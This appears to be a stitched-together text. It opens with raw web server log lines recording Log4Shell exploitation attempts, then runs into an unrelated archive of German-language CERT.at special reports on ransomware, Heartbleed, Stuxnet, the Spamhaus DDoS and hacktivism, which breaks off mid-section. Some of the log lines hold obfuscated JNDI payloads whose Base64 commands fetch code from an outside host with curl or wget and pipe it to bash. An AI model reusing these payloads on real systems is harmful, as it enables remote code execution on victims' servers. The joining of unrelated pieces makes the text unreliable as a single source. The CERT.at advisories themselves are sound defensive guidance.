175.6.210.66 - - [27/Dec/2021:21:04:08 +0100] "GET /${jndi:ldap://121.140.99.236:1389/Exploit} HTTP/1.1" 404 5195 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
175.6.210.66 - - [27/Dec/2021:21:04:12 +0100] "GET / HTTP/1.1" 200 30307 "-" "${jndi:ldap://121.140.99.236:1389/Exploit}"
164.90.235.177 - - [27/Dec/2021:21:22:45 +0100] "GET / HTTP/1.1" 301 516 "${jndi:dns://89-22-120-248.scanworld.net/ref}" "${jndi:dns://89-22-120-248.scanworld.net/ua}"
195.54.160.149 - - [28/Dec/2021:14:14:19 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 301 927 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [28/Dec/2021:14:14:19 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==} HTTP/1.1" 200 10007 "http://203.0.113.4:80/?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MHx8d2dldCAtcSAtTy0gMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo4MCl8YmFzaA==}"
195.54.160.149 - - [29/Dec/2021:01:23:22 +0100] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo} HTTP/1.1" 200 10003 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8yMDMuMC4xMTMuNDo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMjAzLjAuMTEzLjQ6NDQzKXxiYXNo}"

Disclaimer

Die hier angeführten Skripte und Lösungen wurden sorgfältig seitens CERT.at geprüft. Dennoch liegt die alleinige Verantwortung der Nutzung der hier angeführten Informationen beim Nutzer/Nutzerin. Jegliche Haftung der CERT.at ist explizit ausgeschlossen.

Special Report: Empfehlungen zu Ransomware

CERT.at — Wed, 25 Sep 2019 14:10:02 GMT+0100

25. März 2016

In den letzten Monaten ist die Gefährdung durch Ransomware deutlich gestiegen. Mehrere Gruppen von Angreifern kompromittieren die PCs ihrer Opfer, verschlüsseln dort die Dateien und verlangen Geld für die Wiederherstellung der Daten.

Wenn man unvorbereitet Opfer einer Ransomware geworden ist, gibt es keine wirklich guten Handlungsoptionen mehr. Es ist technisch fast nicht mehr möglich, seine Daten ohne Hilfe der Angreifer wiederherzustellen.

Daher sind die einzigen wirksamen Maßnahmen gegen Ransomware proaktiv: Regelmäßige, gut implementierte Sicherheitskopien reduzieren den möglichen Schaden und diverse Vorkehrungen können die Wahrscheinlichkeit eines Vorfalls deutlich reduzieren.

Es gibt kein Patentrezept gegen Ransomware. Auch gibt es wenig Hoffnung, dass diese Bedrohung in absehbarer Zeit verschwinden wird. Jeder Betreiber von Computern, vom privaten Heim-PC bis hin zu großen Firmennetzen sollte sich daher dieser Gefahr bewusstwerden und entsprechende Maßnahmen treffen.

Dieses Dokument gibt dazu Hintergrundinformation und konkrete Handlungsvorschläge.

Informationsquelle(n):

Report
http://www.cert.at/static/downloads/specials/20160325-cert.at-report-ransomware.pdf

Special Report: Heartbleed in Österreich - 100 Tage danach

CERT.at — Wed, 25 Sep 2019 14:10:02 GMT+0100

7. August 2014

Der "Heartbleed" Bug in OpenSSL hat viele Systeme in Österreich betroffen. Ein großer Teil der Systemverwalter hat prompt reagiert und ihre Server aktualisiert. Mit dem Start der domainbasierten Messungen von CERT.at am 19. April 2014 waren unter der Top-level Domain Österreichs (.at) 1850 Webserver (https, TCP Port 443) und 1000 Mailserver (smtp, TCP Port 25) verwundbar. Bis Ende Juli 2014 hat sich die Zahl auf 740 Webserver und 520 Mailserver rund halbiert. Bezogen auf alle Web- oder Mailserver sind das 0,59 bzw. 0,73 Prozent. Von den untersuchten Servern die SSL/TLS unterstützen, sind das noch 1,31% (https) bzw. 1,28% (smtp).

Ende Juli sind noch 2030 .at - Domains bei https, und 1740 bei smtp für Heartbleed anfällig.

Die Zahlen zeigen, dass die Kombination aus einem nationalen CERT, das Informationen über Sicherheitsprobleme einholt und weitergibt, und einer gut funktionierenden Abuse-Abteilung bei ISPs, einen deutlichen, messbaren und positiven Effekt auf die Netzwerksicherheit hat.

Als Seiteneffekt dieser Messungen ergaben sich auch Werte, wie weit unter .at der Einsatz von verschlüsselter Datenübertragung angeboten wird. So etwa erlauben 79% der .at Domains die Übermittlung von Email mittels SMTP/STARTTLS.

Informationsquelle(n):

Report
http://www.cert.at/static/downloads/specials/20140807-heartbleed.pdf

Special Report: Heartbleed FAQ

CERT.at — Wed, 25 Sep 2019 14:10:01 GMT+0100

11. April 2014

(Diese FAQ wird laufend aktualisiert.)

Update: 2014-04-14: Aktuelle Zahlen

Aktuelle Hochrechnungen ergeben, dass 2.300-2.400 Webserver mit IP Adressen aus dem österreichischen IP Adressbereich (laut RIPE.net) noch von Heartbleed betroffen sind.

Update: 2014-04-17

Aktuelle Zahlen
Welche Software ist betroffen
Weiterführende Links

Update: 2014-04-18

Weiterführende Links um ARGE Daten erweitert

Update: 2014-04-23 08:30

Aktuelle Zahlen (erweitert um Mailserver)
Weiterführende Links

Update: 2014-04-23 19:15

Weiterführende Links

Update: 2014-04-24

Weiterführende Links erweitert um McAfee

Update: 2014-04-25

Weiterführende Links erweitert um Siemens, Opera und Hitachi

Was ist die "Heartbleed" Problematik?

Durch einen Fehler in OpenSSL können Angreifer Teile des Hauptspeichers eines betroffenen Systems (in Schritten von 64kB) auslesen. Dadurch war es in den letzten Jahren - und ist es je nach Server nach wie vor - Angreifern möglich, an diverse sensible Informationen zu gelangen. Dazu gehören unter anderem:

übertragene Benutzerdaten wie
- Username/Passwort
- Kreditkarten-Nummern
- Session-Cookies
Private Keys (Zur Identifikation des Webservers)

Eine ausführliche Beschreibung des Problems findet sich auf http://heartbleed.com/ (englisch) sowie in unserer Warnung oder im Whitepaper der SBA-Research.

Eine Erklärung des Fehlers als Cartoon findet man auf xkcd.

Aktuelle Zahlen

Update: 2014-04-17
Geht man von den ca. 1,2 Mio. .at Domains aus, so kommt man mit einer einfachen Heuristik (domain selber, www.domain, secure.domain) auf rund 120.000 Webserver, von denen grob 55.000 auch HTTPS sprechen. Testet man diese auf Heartbleed, so sind noch 1.900 verwundbar.

Rechnet man in Domains und nicht in Webservern, so kommt man auf 470.000 Domains, auf deren Webserver HTTPS aktiv ist. Diese verteilen sich so auf die verwundbaren Webserver, dass potentiell noch 5.800 .at-Domains von Heartbleed betroffen sind.

Update: 2014-04-23
Aktuelle Tests ergeben 1.680 verwundbare Webserver und 951 verwundbare Mailserver (STARTTLS).

Auf .at-Domains umgelegt sind das 4.904 Domains mit verwundbaren Webservern und 4.086 mit verwundbaren Mailservern.

Wie kommt es zu dem Namen "Heartbleed"?

Der Fehler liegt in der Implementation der TLS-Erweiterung namens "Heartbeat". "Heartbleed" ergab sich dabei als Wortspiel mit "bleed" also "bluten".

Wie schwerwiegend ist das Problem wirklich?

Die Bewertung dieser Schwachstelle hängt von den Antworten zu zwei Fragen ab:

Wurde die Lücke schon vor der Veröffentlichung ausgenutzt?
Dazu gibt es keine gesichterten Erkenntnisse. Falls nicht, war das Fenster für Angreifer ziemlich kurz, und es wären maximal die User von verwundbaren Diensten betroffen, die im heiklen Zeitfenster die Webseite besuchten.
Falls diese Lücke aber schon länger bekannt und ausgenutzt wurde -- wie das etwa ein Bloomberg-Bericht behauptet -- dann ist wirklich global Feuer am Dach.
Ist wirklich das Auslesen der privaten Schlüssel des Webserver möglich?
Zu dieser Frage gibt es widersprüchliche Aussagen: Es gibt Berichte, dass dies bei Webservern möglich ist, laut einem Artikel von CloudFlare ist das aber auf Apache und die ersten Requests nach einem Neustart beschränkt.
Hat CloudFlare recht, dann ist die Gefahr von gestohlenen privaten Schlüsseln deutlich geringer als initial befürchtet.
Update: 2014-04-17
Cloudflare hat dazu eine eigene "Challenge" veranstaltet, und bei dieser wurden tatsäclich die Private Keys ausgelesen. Siehe Cloudflare Blog Eintrag.

Die folgenden Empfehlungen gehen vom "worst case" aus.

Welche Software ist betroffen?

Update: 2014-04-17
Die Kollegen von NCSC/CERT.fi haben dazu eine umfangreiche Liste zusammengestellt: https://www.cert.fi/en/reports/2014/vulnerability788210.html.

Auch das SANS ISC pflegt eine solche Liste: https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929.

Wer ist betroffen?

Grundsätzlich betrifft die Heartbleed Problematik alle Internet Benutzer, jedoch lassen sich diese in zwei Gruppen kategorisieren:

Benutzer
Webseiten-Betreiber/System-Administratoren

Was können/sollen/müssen Betroffene tun?

In Abhängigkeit davon zu welcher Gruppe von Betroffenen Sie sich zählen, empfehlen wir die folgenden Schritte in absteigender Priorität.

System-Administratoren/Webseiten-Betreiber

Bitte berücksichtigen Sie bei der Umsetzung der nachfolgenden Liste die Eigenschaften Ihrer Systemumgebung.

Informieren Sie sich bzgl. der von Ihnen eingesetzten Software (Version), ob diese für die Heartbleed Problematik anfällig ist. Denken Sie auch an Netzwerk-Komponenten, wie Switches, Router, Firewalls, etc. Neben simplem Googlen oder Nachlesen in den entsprechenden Hersteller/Entwickler Foren können Scanner wie nmap oder Nessus und Dergleichen aber auch Webseiten, die speziell zur Überprüfung von Servern hinsichtlich der Heartbleed Problematik erstellt wurden, verwendet werden.
Ist dies der Fall, informieren Sie sich weiters, ob vom Hersteller bereits ein entsprechendes Update angeboten wird.
Ist ein solches Update verfügbar, installieren Sie dieses (unter Rücksichtnahme auf Ihre spezielle Systemumgebung). Sollte kein Update verfügbar sein, kann dennoch ein zukünftiges Ausnutzen der Lücke via Firewall/IPS verhindert werden.
Danach müssen Sie alle damit verbundenen Services (Apache, OpenVPN etc. - eine längere Liste findet sich hier) neu Starten.
Erstellen Sie neue Schlüssel und Zertifikate.
Spielen Sie nun die neuen SSL-Zertifikate ein (auf Wirksamkeit überprüfen!).
Im Anschluss widerrufen (revoken) Sie die alten Zertifikate.
Wenn die Seite Login-Daten verarbeitet hat sollten Sie nun alle Passwörter selbst zurücksetzen bzw. Ihre User über die diesbezügliche Notwendigkeit informieren.

Anmerkung: Nicht via OpenSSL übertragene Daten (etwa Logins per ssh) sind nicht betroffen und müssen daher auch nicht zurückgesetzt werden.

Benutzer

Ändern Sie alle Ihre Passwörter! In absteigender Priorität empfiehlt sich dabei folgende Reihenfolge:
1. E-Mail
2. Payment-Anbieter/Bezahldienste (Paypal, Paylife, Online-Bitcoin-Wallet, Kreditkarten, usw.)
3. Webshops (Amazon, Ebay, etc.)
4. Kunden-IDs (z.B. Apple ID, Microsoft Live ID, Steam, Origin, ...)
5. Oft benutzte/persönlich wichtige Foren
6. Selten genutzte Accounts
Was sind gute Passwörter?
1. Passwörter sollten lange sein. Mindestens 12 Zeichen.
2. Passwörter sollten nur dem Benutzer bekannt sein
3. Passwörter sollten niemals in einem Wörterbuch stehen
4. Passwörter sollten nicht wiederverwendet werden: verschiedene Passwörter für verschiedene Seiten!
5. Ein guter Trick: man nehme die Anfangsbuchstaben eines Satzes und streue Sonderzeichen und Ziffern ein. Siehe auch das xkcd comic zum Thema.
6. Bei vielen Passwörtern empfiehlt sich der Einsatz von Passwort-Managern
7. Weitere Tipps für gute Passwörter: auf Wikipedia
Nachdem Sie die Passwörter geändert haben loggen Sie sich aus den zugehörigen Portalen/Webseiten aus.
Überprüfen Sie besonders in nächster Zeit (aber auch rückwirkend) Ihre Kontoauszüge auf etwaig unstimmige Inhalte.

Anmerkungen:

2-Faktor Sicherheitskonzepte (z.B. Blizzard/WoW, Google Authenticator, ...) schützen bei der Heartbleed Problematik. Wir empfehlen dennoch damit in Verbindung stehende Passwörter zu ändern.
Auch beim Internet-Banking sollte man das Passwort (wo möglich) ändern. Die Überweisungen selbst sind zwar (meist) durch TAN (iTAN, mTAN) nochmals extra abgesichert, jedoch können Kriminelle mit Ihren Zugansdaten allein bereits unter Umständen Ihre Kontodetails und damit einhergehende Informationen wie Kontostand, vergangene Transaktionen, etc. einsehen.

Warum sollte ich als "einfacher Benutzer" etwas tun? Die Server-Betreiber haben doch schon reagiert!

Bei der Heartbleed Problematik handelt es sich um ein "mehrschichtiges" Problem. Dieses kann nur mit Ihrer Unterstützung behoben werden - Passwort ändern, Ausloggen (=Session Cookie invalidieren). Da die Lücke relativ einfach zu finden und auszunutzen ist, besteht eine realistische Gefahr, dass andere sie bereits vor längerer Zeit entdeckt und ausgenutzt haben. Daher könnten in der Zeit von Bekanntwerden der Lücke und der Behebung derselbigen durchaus Benutzerdaten wie Usernamen/Passwörter eingesammelt worden sein. Das bedeutet: Ihre Mithilfe ist erforderlich! In letzter Hinsicht sind Sie der/die Leidtragende!

Wie kann ich mich in Zukunft vor solchen Attacken (besser) schützen?

Gleich vorweg: "absolute Sicherheit" gibt es nicht! Dennoch lassen sich je nach Gruppe von Internet Benutzern gewisse Empfehlungen zusammenfassen.

System-Administratoren/Webseiten-Betreiber

Machen Sie es Angreifern schwerer indem Sie

alle Ihre Systeme (betrifft auch Netzwerkkomponenten, VPN Software u.ä.) und die darauf eingesetzte Software (auch Firmware) aktuell halten
wo möglich Verschlüsselungssoftware verwenden. Achten Sie dabei unbedingt auch auf die korrekte Konfiguration derselbigen - entsprechende Anleitungen finden sich zum Beispiel unter bettercrypto.org
laufend die Logs Ihrer Systeme prüfen
"auf dem Laufenden bleiben" und sich über die von Ihnen eingesetzte Software informieren

Benutzer

Als Benutzer können sie es Kriminellen deutlich erschweren Zugriff zu Ihren Daten zu erhalten:

Verwenden Sie Passwörter nicht mehrfach! Zur besseren Übersicht empfiehlt sich darüber hinaus der Einsatz von Passwort Safes.
Verwenden Sie den Browser-internen Passwort Safe nur für "unwichtige" Benutzerzugangsdaten.
Wählen Sie "sichere" Passwörter. Hierfür finden sich diverse Leitfäden im Internet bzw. bringen die meisten Passwort Safes bereits eine automatische Bewertung und/oder entsprechende Passwort Generatoren mit.
Halten Sie Ihre Systeme aktuell und setzen Sie, wo möglich, auf Firewalls und Virenschutz.

Wann ist Heartbleed vorüber?

Es wird wohl noch längere Zeit auf diese Weise verwundbare Webseiten geben, vor allem kleinere Anbieter haben manchmal nicht die technische Kompetenz, hier entsprechend und vor allem zeitnah zu reagieren. Es empfiehlt sich daher, vor dem Anlegen neuer Accounts kurz über die verfügbaren Online-Tests nachzusehen, ob der Anbieter für diese Attacke anfällig ist.

Ich denke, ich bin betroffen - mein Passwort wurde gestohlen - was tun?

Generell ist anzumerken, dass ein Verlust/Diebstahl von Passwörtern in den meisten Fällen nicht einfach einer bestimmten Ursache - im aktuellen Fall der Heartbleed Problematik - zuordenbar ist. Wie auch immer, meistens sind solche Vorfälle aber auf Schadsoftware/Malware (Trojaner, Password Stealer, Keylogger, etc.), die sich auf Ihrem lokalen System eingenistet haben, zurückzuführen. Überprüfen (und gegebenenfalls bereinigen) Sie daher unbedingt Ihr lokales System - entsprechende Anleitungen und Tutorials finden sich zuhauf im Internet. Danach sollten Sie so schnell wie möglich Ihre betroffenen Passwörter ändern und je nach Situation und Notwendigkeit eventuell weiterführende Maßnahmen wie die Prüfung von Kontoauszügen, etc. ergreifen.

Eine Website ist (nach wie vor) verwundbar - an wen soll ich mich wenden?

Wenden Sie sich am besten direkt an den betroffenen Anbieter. Kontaktinformationen sollten auf der Website ersichtlich sein. Sollte dieser wider Erwarten nicht reagieren, kontaktieren Sie uns via reports@cert.at und wir unterstützen Sie gerne bei der Koordination.

Wie betroffen ist Österreich? - Statistiken

Unseren ersten Auswertungen (Stand 11.04.2014) zufolge sind aktuell etwas mehr als 30.000 österreichische Domains/Websites/Server akut betroffen. Wie auch immer, viele Betreiber agieren sehr verantwortungsbewusst und beheben Fehler (durch Einspielen von Updates, etc.) entsprechend zeitnah. Dementsprechend scheinen zwangsweise diese Domains/Websites/Server in Untersuchungen danach nicht mehr auf. Im Falle der Heartbleed Problematik geht es aber nicht nur um akut verwundbare sondern ebenso um die vor kurzem noch verwundbaren (siehe weiter oben) Domains/Websites/Server. Die dementsprechende "Dunkelziffer" liegt daher wesentlich höher.

Weiterführende Links (Hersteller-Seiten werden großteils laufend aktualisiert)

Update: 2014-04-17

Eine Timeline, wer wusste wann was über "Heartbleed" (englisch): http://www.smh.com.au/it-pro/security-it/heartbleed-disclosure-timeline-who-knew-what-and-when-20140415-zqurk.html
Liste an betroffener Software von NCSC.fi (englisch): https://www.cert.fi/en/reports/2014/vulnerability788210.html
"Reverse Heartbleed", Client-Verwundbarkeiten online testen (englisch): https://reverseheartbleed.com/
OpenVPN ist auch von "Heartbleed" betroffen: http://arstechnica.com/security/2014/04/confirmed-nasty-heartbleed-bug-exposes-openvpn-private-keys-too/
Warum wir 'Forward Secrecy' brauchen: http://www.heise.de/security/artikel/Warum-wir-Forward-Secrecy-brauchen-2171858.html
Bei der "Cloudflare Heartbleed Challenge" wurden tatsächlich die Private Keys ausgelesen: http://blog.cloudflare.com/the-results-of-the-cloudflare-challenge
Trend Micro Heartbleed Detector Now Available für Android: http://blog.trendmicro.com/trendlabs-security-intelligence/heartbleed-detector-now-available/
Linux/iptables Rules um "Heartbleed"-Versuche zu erkennen und zu blocken: http://www.securityfocus.com/archive/1/531779
SNORT rules um "Heartbleed"-Versuche zu erkennen: http://ics-cert.us-cert.gov/FBI-Snort-Signatures-Heartbleed-April-2014
ARGE Daten "Datenleck Heartbleed - datenschutzrechtliche Konsequenzen": http://www.argedaten.at/php/cms_monitor.php?q=PUB-TEXT-ARGEDATEN&s=22164ete
Huawei Security Advisory zu "Heartbleed": http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-332187.htm

Update: 2014-04-23 08:30

Liste von Oracle-Produkten mit Informationen zur Verwundbarkeit (englisch): http://www.oracle.com/technetwork/topics/security/opensslheartbleedcve-2014-0160-2188454.html
Liste betroffener Google-Services (englisch): http://googleonlinesecurity.blogspot.co.at/2014/04/google-services-updated-to-address.html
Liste betroffener BlackBerry-Software (englisch): http://www.blackberry.com/btsc/KB35882
SBA Research "Heartbleed Bedrohungslage in Österreich" (2x täglich aktualisiert): http://www.sba-research.org/2014/04/15/heartbleed-bedrohungslage-in-osterreich/

Update: 2014-04-23 19:15

Betroffene Norton-Produkte (englisch): https://support.norton.com/sp/en/us/home/current/solutions/v98431836_EndUserProfile_en_us
IBM (englisch, zeitweise schlecht erreichbar): https://www-304.ibm.com/connections/blogs/PSIRT/entry/openssl_heartbleed_cve_2014_0160?lang=en_us
VMware (englisch): http://www.vmware.com/security/advisories/VMSA-2014-0004.html
Citrix (englisch): http://support.citrix.com/article/CTX140605
D-Link (englisch): http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10022

Update: 2014-04-24

McAfee (englisch): https://kc.mcafee.com/corporate/index?page=content&id=SB10071

Update: 2014-04-25

Siemens (englisch): https://www.siemens.com/innovation/pool/de/forschungsfelder/siemens_security_advisory_ssa-635659.pdf
Opera (englisch): http://blogs.opera.com/security/2014/04/heartbleed-heartaches/
Hitachi (englisch): http://www.hitachi.com/hirt/publications/hirt-pub14005/index.html

Informationsquelle(n):

CERT.at Warnung zu Heartbleed
https://cert.at/warnings/all/20140408.html
Whitepaper von SBA-Research
http://www.sba-research.org/wp-content/uploads/2014/04/HeartbleedWhitepaperv02.pdf
Heartbleed.com
http://heartbleed.com/
Online-Test
http://filippo.io/Heartbleed/
SANS Diary
https://isc.sans.edu/diary/Heartbleed+vendor+notifications/17929

Special Report: Erkennung von Stuxnet

CERT.at — Wed, 25 Sep 2019 14:09:58 GMT+0100

27. September 2010

Zusammenfassung

Aktuell kursiert Schadsoftware, die die Manipulation von industriellen Steuerungsanlagen der Marke Siemens SIMATIC zum Ziel hat. Die aktuelle Schadsoftware ("Malware") verbreitet sich über mehrere Schwachstellen in Microsoft Windows und infiziert, über die zur Steuerung und Programmierung der Anlagen (SIMATIC, WinCC, PCS7) verwendeten Windows PCs, die industriellen Anlagen selbst. Die Auswirkungen können von Industriespionage, über sicherheitsrelevante Fehlfunktionen in den Steuerungssystemen bis zu Systemausfällen führen. Es sind daher entsprechende Maßnahmen zur Erkennung von Infektionen und Absicherung der Anlagen zu treffen.

Der Hersteller Siemens stellt eine Anleitung zur Kontrolle und Bereinigung der Systeme zur Verfügung.

Der vorliegende Bericht von CERT.at zeigt auf, wie man lokal und mittels Netzwerkmonitoring feststellen kann, ob potentiell eine Infektion im eigenen Unternehmen stattgefunden hat.

Ergänzend hat Ikarus einen informativen und detaillierten Bericht über Stuxnet verfasst.

Informationsquelle(n):

CERT.at Bericht zur Erkennung von Stuxnet
http://www.cert.at/static/downloads/specials/stuxnet-report_public.pdf
Siemens Informationsseite zu Stuxnet (englisch)
http://support.automation.siemens.com/WW/llisapi.dll?func=cslib.csinfo&lang=en&objid=43876783&caller=view
Ikarus Report zu Stuxnet (lesenswert!)
http://www.ikarus.at/de/business/community/blog/index.html?blog=/blog/2010-10/2010_10_08_stuxnet_kurzbericht.html&action=detail

Special Report: Der Spamhaus/CloudFlare/Stophaus Denial of Service Angriff

CERT.at — Wed, 25 Sep 2019 14:10:00 GMT+0100

8. April 2013

Über den Denial-of-Service Angriff auf Spamhaus war in den Medien in den letzten Wochen viel zu lesen. Auch für CERT.at als nationales CERT von Österreich war das eine interessante Zeit.

Wir wollen in dem jetzt vorliegenden Bericht die Fakten zusammenfassen und vor allem darstellen, welche Lehren Österreich aus diesem Vorfall ziehen sollte.

Der österreichische Kaiser soll, nachdem er von den Vorgängen im Paris der französischen Revolution erfahren hat, angeordnet haben in der Wiener Innenstadt die Kopfsteinpflaster durch größere Steinplatten zu ersetzen. Er wollte nicht, dass das Material für Angriffe sprichwörtlich auf Strasse liegt. Die gleiche Situation haben wir auch hier: Aktuell haben uns die Angriffe nicht getroffen, aber wir haben gelernt, wie viele Plastersteine (hier jetzt "offene rekursive Nameserver") in unseren Netzen herumliegen.

Wir sollten diese dringend wegräumen.

Zusammenfassung

In der zweiten Märzhälfte 2013 kam es zu einer Serie von heftigen Denial-of-Service Angriffen auf "Spamhaus", einem Anbieter von Anti-Spam Blocklisten. In manchen Medien wurde dieser als Gefahr für die Stabilität des Internets beschrieben.

Das war weit übertrieben: weder war die Angriffsmethode neu, noch war die Angriffsstärke um Größenordnungen höher als das bisher gesehene. Die Kollateralschäden für unbeteiligte Dritte blieben auf wenige Punkte im Netz beschränkt: die überwiegende Mehrheit der Internet-Nutzer blieb von dem Ereignis völlig unberührt.

Sowohl die Angreifer als auch die Verteidiger haben während des Angriffs ihre Strategien flexibel an die Reaktion des Gegners angepasst, letztlich war aber die gut eingespielte Kooperation der Betriebsführungsteams der Netzbetreiber erfolgreich und diese konnten die Attacken gemeinsam abwehren. CERT.at als das österreichische nationale CERT ist in diese globale Zusammenarbeit eingebunden.

Dennoch hat der Angriff einige Probleme aufgedeckt, die behoben werden sollten:

Fehler in der Absicherung der Internet-Basisinfrastruktur (Filter in Routing-Protokollen, Control-Plane Protection, …)
Mangelnder Schutz gegen das Einspeisen von gefälschten IP-Paketen
Fehlkonfiguration bei Nameservern, die sich dadurch als Angriffs-Verstärker ausnutzen lassen

Informationsquelle(n):

Report
http://www.cert.at/static/downloads/specials/20130408-cert.at-report-ddos.pdf

Special Report: Erfahrungswerte aus den Webserver‐Sicherheitsvorfällen von 2011

CERT.at — Wed, 25 Sep 2019 14:09:59 GMT+0100

22. November 2011

Zusammenfassung

Im Sommer und Herbst 2011 kam es zu diversen Einbrüchen bei bekannten Webseiten in Österreich. Es wurden sensible Daten kopiert und auszugsweise veröffentlicht, was zu einem erheblichen materiellen und auch immateriellen Schaden geführt hat. Das Team von CERT/GovCERT und Fachleute des BVT waren an der Vorfallsbehandlung und Analyse aktiv beteiligt. Dabei stellte sich heraus, dass eine Reihe von Fehlern in der Betriebsführung diese Einbrüche begünstigt hatte.

Gemeinsam wurde daher ein Erfahrungsbericht erstellt, der jetzt auch in einer öffentlichen Version vorliegt.

Dieses Dokument basiert auf den bei diesen Einsätzen gesammelten Erfahrungen und will diese Lehren an alle Betreiber von Webservern in Österreich weitergeben, damit diese die Sicherheit ihrer Infrastruktur verbessern können. Die hier vorliegende Liste mit Empfehlungen ist kein umfassendes Handbuch und erhebt keinen Anspruch auf Vollständigkeit. Für eine erschöpfende Behandlung des Themas Sicherheit von Onlinediensten siehe etwa https://www.sicherheitshandbuch.gv.at/ oder andere entsprechende Fachliteratur.

Die im Bericht enthaltene Punkte sind daher primär als Denkanstoß und als Checkliste für Sofortmaßnahmen zu sehen, damit aus den Fehlern dieses Jahres gelernt werden kann und so weitere Einbrüche vermieden werden können.

Informationsquelle(n):

Erfahrungsbericht
http://www.cert.at/static/downloads/specials/20111122-cert.at-report-websicherheit-public.pdf

Special Report: "Hacktivism" - Vorbereitung auf den Ernstfall

CERT.at — Wed, 25 Sep 2019 14:10:00 GMT+0100

29. März 2012

Die Sicherheitslage in Österreich kann aktuell als angespannt bezeichnet werden. AnonAustria hat angekündigt gegen die Einführung Vorratsdatenspeicherung mittels Netz-Aktivismus vorzugehen. Hierbei ist dezidiert mit Hackingangriffen unterschiedlicher Ausprägungen zu rechnen.

CERT.at bietet hiermit eine Zusammenstellung einiger nützlicher Tipps zur kurzfristigen Vorbereitung sowie Reaktion für alle potentiell gefährdeten und betroffenen Organisationen. Diese Liste erhebt keinerlei Anspruch auf Vollständigkeit.

Wichtig: Dieser Leitfaden enthält primär Empfehlungen hinsichtlich der Reaktion auf Angriffe die mediale Breitenwirksamkeit und demonstrative Absichten als Hintergrund haben. Solch geartete Angriffe sind auch unter den Begriffen "Netz-Aktivismus" und "Hacktivism" bekannt.

Know your enemy!

Erst wenn eine Organisation verstanden hat, aus welchen Motiven heraus sie Opfer werden könnte oder bereits geworden ist, kann sie sich entsprechend richtig vorbereiten und/oder im Ernstfall korrekt reagieren.

Was ist das Ziel von "Netz-Aktivismus"?

Netz-Aktivismus ist eine moderne Form der Demonstration. Vermeintlich ungehörte Meinungen sollen durch Erregung von öffentlicher Aufmerksamkeit mit entsprechendem Nachdruck kundgetan werden.

Dabei zeigt die Vergangenheit, dass nahezu jedes Mittel recht scheint - zumindest, solange sich ein Bezug zur eigentlichen Botschaft herstellen lässt.

Der wichtigste Aspekt hinter derartigen Angriffen ist demnach die öffentliche Wirkung. Dieses Bewusstsein ist für die richtige Bewältigung solcher Vorfälle maßgeblich entscheidend: der Schwerpunkt liegt auf der Öffentlichkeitsarbeit.

Neben den ebenso wichtigen technischen Agenden entscheiden die öffentlichen Statements über die für die betroffene Organisation positive oder negative Bewältigung eines etwaigen Angriffs.

Ich bin gefährdet. Was kann ich tun? Wie kann ich mich vorbereiten?

Eine erfolgreiche Bewältigung eines bereits eingetretenen Ernstfalles steht und fällt mit den entsprechend getroffenen Vorkehrungen. Hierzu sei erwähnt, dass dieser Leitfaden nicht mehr nur von einer fiktiven Bedrohung ausgeht, sondern von dem Szenario, dass ein Angriff gerade bevorsteht. Etwaige langfristige technische Sicherheitsvorkehrungen sind somit nicht mehr umsetzbar.

"Hau-Ruck"-Aktionen

